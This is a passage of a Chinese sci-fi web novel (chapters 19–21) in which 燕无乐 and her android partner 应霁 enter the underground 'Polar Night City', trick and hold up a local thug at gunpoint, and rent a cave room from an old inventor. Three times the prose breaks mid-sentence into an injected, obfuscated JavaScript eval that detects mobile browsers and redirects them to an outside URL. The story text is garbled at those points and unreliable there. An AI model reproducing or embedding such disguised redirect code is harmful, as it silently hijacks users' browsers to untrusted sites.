飞船从巨坑之中重新爬升。此刻,他们脚下是不见尽头的深渊,四周是一望无际的灰黑色矮房。 她轻叹一声:“现在,还知道这里的金銮城居民管这里叫做「极夜城」。” 「扁舟」从密密麻麻的房群上驶过,它们如此相像,以至于应霁无法准确标识记忆点。 一个又一个问题从他的处理器中接连冒出,而燕无乐却愈发沉默。 为什么自己检索不到的内容,她却能娓娓道来? “……刚说了,别这样看着我。”察觉到应霁揣测的视线,她只得解释,“科鸢集团几乎和环形城同岁,家里知道些内幕也正常。” “更何况「矿洞」并不像传言中那样,被政府彻底封死。” 应霁懂了:“所以阿芙洛狄研究院是想通过这个通道,把那批‘样品’送到极夜城?” 燕无乐又意味深长地摇了摇头:“不止。即使出生在极夜城的人类,也依然有办法去金銮城内生活。而且是政府鼓励的、合法的途径。” 比起高度发达的金銮城,极夜城终年黑暗,它的发展水平甚至不足以支撑恒久的光源,他们所见的景象与百年前没有区别。 然而按理来说,这么多年过去,就算基因突变这里也该诞生天才,它怎么就没被人带着发展? “因为这些人都去金銮城了。”燕无乐淡淡道,“每三年,政府都会对地下城居民开放筛选,通过的人就能获得金銮城的公民身份。他们自然就不用生活在这里了。” 于是环形城的内面飞速更迭,而外面在百年后仍然荒芜。地上地下,两种世界。 燕无乐说完,扁舟内陷入沉默。她的光屏投射在操作台前,上面的内容显示目的地就在附近—— 然而放眼望去,除了一个接一个、一个叠一个的灰色矮房,这哪还有其他景象? 19. chapter 19 低空中,「扁舟」无声地悬浮了一会儿,很快又继续下潜。 他们找了一处空旷的低洼,将开了隐形模式的飞船停了进去。 极夜城和金銮城共享同样的大气和重力,因此他们无需刻意准备,舱门外仍适宜人类生存。 但燕无乐和应霁没有急于出舱。他们回到了起居室,掀开了各自的单人床垫——应霁穿上工装马甲,然后将零碎的枪械弹药放入口袋,下一刻他又收拾起便携工具箱,以备不时之需。 最后是那两枚出发时燕无乐塞来的螃蟹芯片,他犹豫了一下,最终将它们藏进了贴身衬衣。 做完这些,他好整以暇地开始复盘方才的信息,除了极夜城的基本情况,燕无乐还警告了他不少。 “这里和金銮城不一样,完完全全,不一样。” 应霁将她的最后这句话录了下来,此刻在耳内又播了一遍。自己的处理器对这句话异常敏感,上面被打上了「紧张」「担忧」「郑重」等情绪标签,而燕无乐说的话中很少会这样。 很新奇的感觉。他又悄悄将这句话播放了一遍,熟悉的声音一字一顿。 一旁的燕无乐忙于伪装,完全没注意到身后的应霁在做什么。 此时此刻,她脱下装备齐全的马甲,撸起了右边袖子,半截银光闪烁的金属手臂就这样暴露在灯光下,血管般分部的灯条显示充能已满。 而半敞的橱柜里,几把手术刀和医用缝合针躺在其中,旁边是提前培育好的皮肤组织,它们即将覆盖在机械臂表面。 如机械臂般招摇的特征,不做伪装将隐患无穷。 “好了。”她向应霁展示了下右侧手臂,上面的针角处覆盖了蜡,歪歪扭扭做出了疤痕增生的效果。 “——刚才交代过的事情,都记住了吧?” * 污水旁有黑影窸窣作响,一只耗子叼着根手指疾驰而过,转瞬被伏击已久的蟒蛇吞吃入腹。 那团老鼠在它的喉间鼓成一个肉球,丝滑移动时又被一支铁夹猝然卡住。刹那间,蟒蛇奋力扭动,然而还是被铁夹一把掐回笼中。 “还想跑?”一个壮汉踹了脚蛇笼,随后又坐回马扎低下了头,“瞧一瞧,看一看,地穴现抓的长虫,便宜卖咯——” 他坐在一条狭窄绵延的巷道中,身旁挤着同样打扮灰暗的摊贩,唯一不同的是面前的货品:蟒蛇、原矿、碎肉、残肢,还有二手金属零件。 无论是什么,前面都立着明码标价的牌。顾客走过时直接将钱扔在地上,摊贩们则立刻打包对应的货。 不要抬头,无需多言,这是城区黑市多年来养成的规矩,以防惹祸上身。 燕无乐不小心踏入污水坑,水花溅到应霁的裤腿,但他们都无暇顾及。脏水同时溅到货品上,小贩们一边嘟哝一边擦拭,即使如此,他们也没抬头瞧是谁走路这么不长眼。 而在众人身后,一间间黑洞洞的大门敞着,其上是三四层高的小楼,偶尔有灯光从窗后透出。 二人的视线从中掠过,很快,燕无乐就像发现了什么,突然放缓了脚步。 “啪叽——” 这次,她重重地踏入污水,脏水再次泼向四周货品。一旁的小贩终于忍无可忍嚷嚷着后挪了几步,与此同时,他周围的小贩投来目光,看清事由后也不约而同地抱怨起来。 但燕无乐没有就此消停,她站在水坑中,一把拽住了身前的应霁,惊声道:“我受够了!” “你这个骗子!” 说罢,积蓄已久的眼泪滑落,燕无乐一手悄悄捏紧口袋中的眼药水瓶,另一只手拽住旁边男人的衣角,边哭边蹲下身,一副打死也不往前走一步的模样。 而她身旁的男人却皱着眉,一脸不耐烦地扯开了她的手。 小贩们耳尖,只听得男人“啧”了声后,转而就是坚定远去的脚步声。 逼仄的巷道中只余这年轻女人头埋臂弯、一阵一阵的低声抽泣。 几个大胆的小贩悄悄瞄了几眼,见她哭得无暇他顾,又像个鹌鹑似的缩成一团,便愈发肆意,甚至和周围人窃窃私语了起来。 而在他们头顶上方,原先漏出的丝丝灯光也被人影覆盖。在众人仰望才能看清的地方,另一些人仅凭玻璃遮罩就能看得恣意。这些玻璃很有年头了,薄薄一层,隔音效果并不如想象中那么好。 因此,方才头也不回的应霁此刻站在拐角处,将接收器灵敏度调高,黑楼内人的一举一动就全被收入耳中。 原本寂静的房内忽然脚步纷乱,伴随着调笑与脏字,声音开始向楼下移动—— 不远处,燕无乐的“哭声”渐渐微弱,她只感到右臂手腕震动了一下,身后随即传来不怀好意的咋呼: “哎!这市集开了这么些年,谁还不知道规矩敢来这闹事?” 小贩们立刻噤声,周遭只剩窸窸窣窣收拾货品的响动。 燕无乐闻声抬头,只见一个五大三粗的光头男人朝自己走来,发绿发紫的刺青从脖颈一直盘旋到头顶。 她的眼眶还剩些没吸收完的人工眼泪,加上头埋臂弯太久,双眼闷得发热,还真有种梨花带雨、我见犹怜的残败美感。 连躲在暗处的应霁都不由得摇摇头。简直是换了个人。 刺青男人居高临下地打量着燕无乐,手指在胡茬上摩挲,声音高昂:“新来的?还是走错路了?不知道这里什么规矩吗!” 见她瑟缩着摇了摇头,一副怯弱不敢吱声的模样,男人又放软了语气,“小姑娘,大哥也不是责备你,只是这里实在不安全,你看你一个人被丢在这也不是办法!” 说罢他伸出手,想帮燕无乐整理一下披散的长发,而她不经意地一避,刺青男人只得退而求其次地扶她一把。 温热又柔软的触感顺着外套面料传来,他面上闪过一抹得逞的微笑:“这样,我们先出去——” “看你人生地不熟,大哥就好心告诉你,这小姑娘家家的在极夜城内可是有大把机遇!什么阿猫阿狗的,全忘了吧!” 燕无乐看起来愣愣的,趁着抹眼泪,摁下了手腕内的信号发射器。随后她亦步亦趋,跟着男人往巷道的更深处走去,那里已容不下临街摊贩,光线在越来越逼仄的高墙下愈发昏暗。 嘀嗒落下的水声此刻放大,细细密密,像绕不开的迷障。 他们又走了数十米,外套下燕无乐几乎汗毛倒竖,男人才自信地停下脚步,“这地方,一般的本地人才不会 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16317721|183094||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这么快给外人讲!” 污水横流的地面陡然被一堵黑墙截断,其后,数座歪歪扭扭、方向不一的巨大阶梯矗立。它们顺坡而下,陡峭处甚至扭为一体,一齐通往更深不见底的地下。 男人嘿嘿一笑,视线从头到脚将她扫过,又用余光瞟了眼他们来的方向,什么青年,什么小贩,通通不见。 于是他笑得更猖狂了些:“刚刚那些不过小打小闹!接下来,哥带你瞧瞧什么才是大世面!” 燕无乐顺梯而下,寒冷的狂风呼啸而过,其间隐隐夹杂着甜腥的味道,伴随着男人身上焦臭的烟味,他们走到了阶梯的尽头。 这里并非她刚所见的荒芜破败,相反,地下更亮、更嘈杂,被开凿出的窗口后随处可见欢歌丽影。 而在这些半地下室似的窗口上方,则是更多黑洞洞的房间。它们附着在阶梯内部,狭窄而阴暗,只有窗框外悬挂着花花绿绿的衣服。 燕无乐脚步一顿。即使早有预料,但当真正站在这灯红酒绿的门前,她还是感到头皮发麻。 身前的男人依旧盛情,只是眼神多了分不怀好意。见燕无乐停下脚步,他不耐烦地“欸”了声,“这可是极夜城内女人最好改命的办法,简单、轻松!动动嘴跳跳舞,躺着就把钱赚了!” 男人像一只喋喋不休的青蛙,吐出的话没一句能听。见燕无乐不为所动,他终于撸起袖子,不由分说地搂住她的肩。 这一下可触着了逆鳞,燕无乐撇开男人,又不动声色地捂住了隐隐发热的右小臂。 但戏还没演完。 “大哥,我只想找个住的地方,其他做什么都好,这个就实在……” 此话正中男人下怀。只见他呵呵一笑,也没计较燕无乐方才甩开他的那一下,又将手臂搭了上去。 “早说嘛,刚才那条街看见了吗?大半都是哥的!随便给你开一间咯!” “要么,”他又用下巴指了指前方色彩明艳的厅堂,“哥也可以常来这找你!” “怎么样,二选一很公平吧?”说罢,他自信地向怀中看去,期待这个像迷途小鹿般的女人能露出些楚楚可怜的神色,最好有泛红的双眼,或者紧抿的、委屈的唇角。 但她却出奇的平静,精致的五官仿佛他那些刚出厂的情趣硅胶,连眉头都没有皱一下。 “什么意思?都不选的话我就帮你选了哦?” “还是说都喜欢,选不出来了?” 男人坏笑着把脸凑过去,这下她终于有了反应。只见她将手伸向他的脸,神色怅然似乎接受了自己的处境。 紧接着,他闻到了一股焦糊味。 火辣辣的感觉这才从脸颊蔓延开来,他还来不及大叫,酥麻感就从侧脸传到了半身,直到四肢都抽搐不止。 男人轰然倒地,意识消散前,他视线中出现了另一个男子——是方才狠心将这美人抛下的那人。 电击让他口齿不清,但愤怒还是超越了生理:“你、你!是你指使这个女人!让她来、来骗我!” 然而这个青年却没理会,他只是上前瞥了眼,很快又把位置让给了女人。 燕无乐掏出一把枪: “错了,从头到尾都是我的计划。” 20. chapter 20 刺青男人已经口吐白沫,黑洞洞的枪口直抵额头。 他惊恐地瞪着燕无乐,又不敢置信地将视线转向应霁,仿佛同样身为男人,这个他刚贬低了一路的陌生人就会伸手相救。 然而应霁的神情比枪管更冷,看不出丝毫波澜。 不远处虚掩的厅堂内爆发轰鸣,听不出具体旋律,只有盖过一切的音浪。疯狂、躁动,像极夜里永不消亡的绿光,在众人心知肚明的地下涌动。 “初来乍到,我们需要住所。”刺青男人听见枪口后传来女人平静的声音,供房或消失,她给出了两个选择。 威胁当前,聪明人都知道该选哪个。然而刺青男人抽了抽麻木的嘴角,竟扯出了个荒诞的微笑。 “极夜城内、那么多房,你随便进去杀、杀个、倒霉鬼就行,惹我,没必要——” “你、你怎么知道,我会不会报复你?”说罢,男人大喘一口气,像一台破旧的鼓风机,吭哧吭哧地笑了出来。 “我怎么不知道?”燕无乐指尖微动,扣住扳机缓缓下压,“砰”地一声,男人瞳孔骤缩,子弹不偏不倚地钉在了他耳旁的地面上。 耳鸣如潮水般涌来,天旋地转之际,刺青男人看见那个一直旁观的青年摁下女人的枪,他的手掌贴在炽热的枪管上,却没有太多反应。 这是动了恻隐之心,还是看不下去这疯女人的冲动行事? 而自己终于要得救了吗?男人的胸膛剧烈搏动,青年终于接过了女人手中的枪。然而下一秒,漆黑的枪口再次对准了他。 一道温和的男声渐渐从耳鸣中渗入,阴恻恻的。 应霁转头对燕无乐说:“这沾血的活还是让我这种黑户来做吧,比较合适。” 她眨了眨眼,随即应允。 这下刺青男人彻底绷不住了。如果说先前歪掉的那一枪是妇人之仁,那眼下这冷峻的男人没有理由放过他——况且、况且他刚刚还那么对他的女人! 燕无乐静默地立在一旁,她的视线扫过正在地面扭动的男人周身,然而始终没有发现她想要的密钥类装置。 极夜城最初是完全的自由之地,它能发展成如今弱肉强食的模样,依托了不少来源复杂的加密手段。其中,掌握密钥核心技术的人垄断了城内地产,拥有了房屋流动的大权。 她虽然可以强行破开这一巷道老破小的大门,但没有本地许可的密钥,他们早晚会被纠察队盯上,最终变成通缉在案的流窜人员。 而想要以最快速度获得房屋密钥,合法的流程起码要两三个月,而非法的……燕无乐瞟了眼地上苦苦挣扎的男人,决定靠抢。 应霁的生物血肉下是精雕细琢过的机械骨骼,他持枪的手比任何时候都稳。此刻他一步步朝着男人逼近,倘若男人再不主动交出某个密钥,他可以把他的纹身打成马蜂窝。 同时,应霁扫描着他全部的口袋,随后他踩上了男人腰侧,那里皮夹克的内部,一个棱柱体正发出幽幽的辐射信号。 燕无乐立刻意会,她蹲下身准备去掏时,不远处嘈杂的音乐声忽然吵了好几倍,她下意识挡了下耳朵——而剧变瞬间发生!地上的刺青男人突然侧身翻滚,一把明晃晃的匕首从他的腕间脱出,刹那间与枪口碰撞。 子弹同时迸出,弹射到了角落钢板!随后应霁几枪连开,然而只听得气流声响,它们都贴着男人身体擦过。 这动静不小,开阔空地内又毫无遮挡。应霁“啧”了一声换掉空弹夹,趁此空档瞟了眼不远处的歌厅大门,那里仍然喧闹,但似乎有什么变化。 他来不及细想,上膛了新的麻醉弹。这次男人没有先前好运,药剂被弹头牢牢注进了血液。 冷风阵阵,燕无乐忍不住打了个寒战,她快步上前抗住昏迷男人的一只臂膀,加速把人挪到角落。 在这过程中一个棱柱体从男人身上滚落,燕无乐捡起一看,脸色骤变。 “这不是密钥,”她喃喃道,“我们被骗了。” “怎么回事?”应霁的感应器依然可以接收到棱柱体散发的辐射,而燕无乐把它递到眼前时,他才发现那不过是一段天然矿物——这样的晶体,在四处挖掘的极夜城内随处可见。 他和燕无乐快速交换了个眼神。或许他们一开始就找错了人,这刺青大汉可能只是个喽啰,真正的密钥并不在他身上。 应霁倒出麻醉弹,这次换上了货真价实的子弹:“要处理掉吗?留着是个隐患。” 燕无乐思索后拒绝。 “……没必要,闹的太大对我们没好处。” 于是应霁收起了枪。 白折腾一趟。 然而还未等他们转身离去,一道陌生的声音就在不远处响起: “看你们忙活半天了,怎么,没拿到想要的东西?” 这声音沙哑,话也说得不急不缓。见二人回头不语,声音的主人又往前迈了一步,然后像自证清白似地把双手往头顶举了举。 来者的相貌这才暴露。只见这人被一件宽大的皮衣包裹,同样材质但破旧的礼帽下,是一头银白卷曲的头发。 他深陷的眼眶外是一副银质眼镜,与众不同的是镜腿旁多添了个旋钮,其上又连接了几片形状各异的小镜片。浓密的胡子覆盖了他大半张脸,说话时只能看见银白的胡须浮动,表情被藏在其中,神秘的气氛笼罩。 见他确实没有威胁,燕无乐悄悄按下了一旁应霁的手枪,随后问了句“你是谁”。 “我叫提亚斯。”老者倒是很从容,“你们是从金銮来的吧?极夜城内很少有女人这么抛头露面的。” “……” 燕无乐欲语又止。倒是应霁眉头一挑,对此颇有兴趣。 这微妙的情形坐实了提亚斯的猜想,他发白的胡须抖了几下,接着抛出了句让二人彻底驻足的话: “想当年,我也在金銮城生活过。” 二人交换了个视线,提亚斯顺势提议去喝一杯。 小巷的尽头也是间分贝不小的酒吧,提亚斯轻车熟路地攀上一支通往地下的梯子,重重帷幕之下,是另一番天地。狭小的房间被机械零件堆满,为数不多的落脚地勉强塞 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16317722|183094||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 进长桌,被强行做成了吧台的模样。 燕无乐默默测算了一下,发觉他们现在比那震耳欲聋的酒吧舞池还要下沉,这里的建筑已经和土地融为一体,人们在已有的洞穴内不断开凿出新空间。 吧台后有个年轻男孩正在打盹,听到脚步也没抬头,迷迷糊糊哼了句“自便”。 “自便什么自便!臭小子,今天可是有新客人!” 有限的空间把提亚斯的声音衬托得中气十足,声浪在玻璃瓶罐间来回碰撞,他的手掌在吧台上一拍,激起一层浮尘,“金銮城来的!你不是一直对金銮城感兴趣?” 这句话像戳中了什么开关,那男孩一骨碌爬起来,“哦”了一声拨开提亚斯,于是燕无乐被迫对上了这炯炯的目光。 他抹了把脸,手忙脚乱地把吧台收拾了一下,一边调酒一边自我介绍:“我叫阿维,今年十五了!” 雪克杯在他手中从左摇到右,打开后弹簧一取,泡沫就混着液体哗啦啦地灌了一大杯。 一套动作下来行云流水,几乎要让燕无乐忽略面前这个被推来的扎啤杯。 刚被摇晃过的液体浑浊不堪,在昏黄的灯光下像一罐泥水。 她把嘴边的夸赞收回肚里,尴尬地笑了笑。阿维对此浑然不觉:“我调酒很有一套,是熟练工了!” 然后他才像想起什么似的,放低声音凑过来,“姐,这杯今天算我请的,你们能不能给我讲讲金銮的故事?” 男孩的眼睛里像有火焰跳动,突如其来的热情和直白让燕无乐有些措手不及,她大脑宕机了几秒:“……金銮城的故事?” 金銮城有什么故事? 燕无乐脑海中闪回了自家庄园、科鸢大厦、墙壁雪白的实验室,还有布满密密匝匝胶线的培养仓,半天找不到一个合适的形容。 见她沉默,男孩疑惑地嘟哝了两句,手上调酒的动作放慢不少。 但他还是有些做酒保的服务意识,耐心地抬头等待回答。 应霁在一旁抿了口酒,然后立刻悄悄把它推远了。 “金銮城是个很繁华的地方……大概就是,要什么有什么。” 阿维不解:“极夜城也是啊,想要的话没有搞不到的东西。” 该怎么向他描述那些自己世界中从未出现过的事物呢,这个问题在她心里无解。于是燕无乐尴尬地笑了笑:“确实是。” 但阿维显然不信,他停下手上的动作,看看二人又看看提亚斯,眼神中充满了怀疑。 “但是提亚斯就能说很多啊?” “那是因为我待的不久,过客嘛,看什么都新鲜。”最边上的人摆摆手,然后顺手端走了二人不喝的酒。 提亚斯把它们一饮而尽,然后才不急不缓道:“人家这是从小到大都生活在那,见怪不怪,你这么一问当然说不出来。” 这话也算歪打正着,阿维“哦”了声后表情又殷切了起来。燕无乐连忙转移话题:“你们看起来很熟,怎么认识的?” “哦,提亚斯吗?”阿维继续洗着杯子,“他是我的房东!” 21. chapter 21 房东? 他们心照不宣地想到了一起。 但刚才提亚斯目睹了他们威胁刺青男人的全过程,包括那句意味不明的“想要的东西”,他已经知道他们在寻找住处。 那来搭讪他们是……? 燕无乐倒希望他只是个寻求客户的房产中介。 应霁的枪贴着钱包,信用卡显然用不了,就是不知道贵金属在极夜城内能不能流通。 而提亚斯却对着阿维大手一挥:“还房东?那你说说自己都拖了几个月房租了?” “我就是混的久了,比年轻人多点积蓄罢了,空出来一两间房放着也落灰,你住了顺便帮我打扫打扫。” 随后他转过身来,神情自若,“你们也正在找房子,对吧?” 燕无乐和应霁对视一眼,点了点头。 * 提亚斯没有骗他们,他确实有房,只是条件一言难尽—— 古旧的门锁上锈迹满满,打开后是一室一卫的小房间,这里依旧位于酒馆附近,按水平测算来说,它的位置甚至比酒馆还要下沉。 这房间也不是规矩的立方体模样,它几乎没有什么棱角,像一个蛋的内部,目光所及之处的墙上糊满灰白浆糊。 地面也不太平,燕无乐随手晃了晃唯一的椅子,结果顺带荡起一层土。 “这原来做什么用的?”她随口问道。 “也住人,不过是好多年前了。”提亚斯站在房间中央,“极夜城人口暴涨时很流行这种扩建出的房子,当年人们都管它们叫‘蚁穴’。” 蚁穴,很贴切的名字。他们回想这一路,每段阶梯都向下,每间房屋都越埋越深,人们永远不会知道自己脚下还有多少相同的人生。 “现在地下没有那么多可开采的东西了,也没有那么多人咯。” “那他们去哪了?”应霁不理解。 提亚斯饶有兴致地抬了抬那布满皱纹的眼,像是在解释什么冷笑话:“去世了,时间会带走一切。” “没有新的人出生,这些地方就闲置了。”燕无乐做了补充。 “你女人可比你聪明多了。”提亚斯的手肘撞了撞应霁,他正站得笔挺分析房屋数据,被这忽然一杵打断了思路,面上一阵迷茫。 “身板看着也弱。”提亚斯又“啧啧”两声,颇不理解地又看了看燕无乐。 眼前上演了这一番诡异的互动,燕无乐觉得有些好笑。“您身体倒是挺好的,心态也……” “打住!”这声依然中气十足,完全不像一个银发老人发出的声音,“不要用金銮城的标准来衡量我,在极夜城内,活到我这个岁数是一种本事。” “什么本事?” 不得不再次扫描的应霁收回目光,诚恳发问。 提亚斯:“……” “行了,不想和你们小年轻争。” 他一脚跨出大门,顺手把门敞得更大,狭窄的隧道内还有另一条楼梯,在昏暗的声控灯下通向另一个门口。 提亚斯走上这楼梯时显得从容许多。 他们一路跟随,直到提亚斯拧开了门锁—— 这是一间同样不算大的房间,但比起刚才那空空荡荡、灰尘漫天的小屋,这里倒是充满了生活气息。 燕无乐抬起脚尖,低头思量了半天也没想好要不要踏入其中,而身后的应霁透过她的头顶勉强望了眼内部,也默默地后退一步。 在二人的脚边,一些字迹漫漶的草稿纸散落着,一直延伸到不远处的书桌旁。而那连同周围的三四个置物架,都层层叠叠堆满了各色金属零件。 不是什么稀奇货,燕无乐腹诽道,和他们刚路过的小贩卖的没什么区别。 但下一秒,她又敏锐地捕捉到了些别的动静。 这细微的声音既像齿轮转动,又像……啃咬木屑? 还没等她汗毛倒竖,站在屋内唯一落脚点的提亚斯就侧过身来,尽力为二人展现这奇异的装置—— 黯淡但成群的小灯被串成灯带,悬挂在置物架之间,那些大小各异的齿轮连接成片,竟然在缓缓转动。 而在由齿轮搭建的堡垒之间,燕无乐听见了窸窸窣窣、毫无规律的响动,一双黑豆般的小眼睛忽然从中冒出,然后又消失在缝隙之中。 “老鼠?”燕无乐下意识向后靠去,而好奇心很快又把她拽了回来。她忍着不适,不确定地又向前一步,“它们是你养来发电的吗?” “当然不——不要把我们的关系想象得那么功利,难道和这些毛茸茸们各取所需就不能成为伙伴了吗?”提亚斯的大笑中透露着理所当然,“我可不是无情无义的科技商人,像金銮城的那什么、呃、科鸢集团一样。” 这下燕无乐没话说了,应霁也移开了目光。 提亚斯又张开手臂旋转了一圈,试图用神情让二人体会到这是多么伟大的创举。 而燕无乐从小学的就是尊老爱幼。 她尴尬地笑笑,佯装崇拜地“哇”了一下,又挪开一步后才问:“这是什么?” 而应霁顺从地站到她身边,擦身时悄悄耳语了句:“他的本事。” 令人无语,燕无乐瞪了他一眼。 “这是什么?这是个外力发电的装置模型!虽然它现在只能维持这些小灯带,但只要资源足够,再找到足够充分的能源,它将为极夜城带来源源不断的动力!” 是意料中的答案,燕无乐笑笑后不再说话。 提亚斯的想法虽好,理论也无可挑剔,而极夜城是个资源稀缺的地方,在这样苛刻的外部条件下,让它落地才是难点所在。 倒是应霁走上前去,仔细观察了这个朴素的装置,然后耸了耸肩:“你的想法不太好实现。” “从建造到运行,似乎没一个环节是可执行的。” 他的手指伸进牢笼缝隙,一对胡须连着粉色鼻头探了出来,抽动着嗅了嗅后又快速缩了回去,一丝余温留在了指尖,很快化为了他体内的数据。 提亚斯捕捉到了应霁解释中零星的几个专有词汇,略有陌生,但他心态很好,于是他又乐呵呵地转向燕无乐:“看不出来还挺有才华的,哈哈。” “还有刚才拿枪时那杀伐决断的样子,醋劲不小呐!怪不得你喜欢他。” “……” 一切的主导者没有说话,只递了个眼神让应霁适可而止。 提亚斯:“嗐,妻管严。” 这下燕无乐彻底不说话了。 “好啦,时候不早了,我不像你们年轻人这么精力 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16317723|183094||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 旺盛,该睡觉了。”提亚斯把二人送到门口,一些二手家具也被顺势提溜出来,塞到应霁手上。 “晚上不要动静太大,老年人睡眠浅,那玩意也不咋结实。” 他用下巴指了指应霁手中的折叠床,立刻关上了门。 而燕无乐将这堆家具悉数整理后,才发现她想多了:这鹌鹑蛋一样的小房间放这么一张“床”还是太宽裕了。 更贴切地说,这更像一张带腿的折叠担架,几层单薄的弹力面料覆盖在钢架上,全展开也只够两个人侧身而躺。 提亚斯给的其他家具也是类似——小马扎、折叠桌、几个泛黄的灯泡,总之东拼西凑也组不成可过夜的地方。 她瞅了眼正在打扫房间的应霁,掐指一算能量消耗,让他原地待机一夜实在过意不去。 此刻应霁也干完手中的活,一转身就看见燕无乐目光空洞地盯着自己,他不明所以:“怎么不睡,明天一早不是还要和提亚斯签房屋契约?” “这床有点窄。” 燕无乐躺上去,刚想挪到一侧,就感到身下的“床板”隐隐倾斜。千钧一发时刻,还是应霁一个箭步上前将它撑住。 “没错,还挺不稳。” 他的双臂撑在床的另一侧,衣袖因为打扫而挽起,露出结实的小臂,燕无乐的视线无处安放,索性看得坦荡。 然后下意识摸了一把。 他们都被这下意识的动作整得一愣,燕无乐更是愣住,握住应霁胳膊的手不知该不该抽走。 “不会翻的,我扶着呢。”应霁眨眨眼,“这么不相信我?” “那倒不是。” 燕无乐松了口气,但手依然没有放开。她借力侧躺过来,留出空位的同时面向应霁。 “我只是在想一些夜间的保留项目。” 成年人了,床翻不翻的,不重要。 燕无乐抽回那只手,轻轻拍了拍面前的空位。自始至终她的双眼都没有离开应霁,意图再明显不过。 他的喉结滚了一下,程序响应得恰到好处。 于是二人面对面躺在一起,燕无乐几乎能感受到他的仿真呼吸。 应霁的体格优于普通男性标准,宽肩窄腰曲线凌厉,狭窄的床板容纳不下二人,他索性腾出胳膊让燕无乐枕上。 所谓“保留项目”当然是口嗨,当下这摇摇欲坠的床板经不起任何折腾,她也不觉得强迫一个高等智械服从指令是什么有情调的事。 但燕无乐的额头贴近他的胸膛,炽热的温度提醒她,应霁并没有急于休眠。 而她也没什么困意。 二人就这样相拥着沉默。 直到燕无乐感到头顶传来声音,她听见应霁说,自己今天演得很棒。 “非常真实,一瞬间我都要怀疑自己了。” “有吗?小时候和郁莱一起上过几节戏剧课而已。” 应霁低头“嗯”了一声,二人的距离在他的动作下被不经意拉得更近。 燕无乐感到自己有些喘不上气。 “……好吧,”她闭上眼喃喃道,“其实我以前是挺喜欢演戏的。” “可能很多女生成长路上都会有那么一个阶段吧,幻想自己是落难公主,然后期待着被拯救。”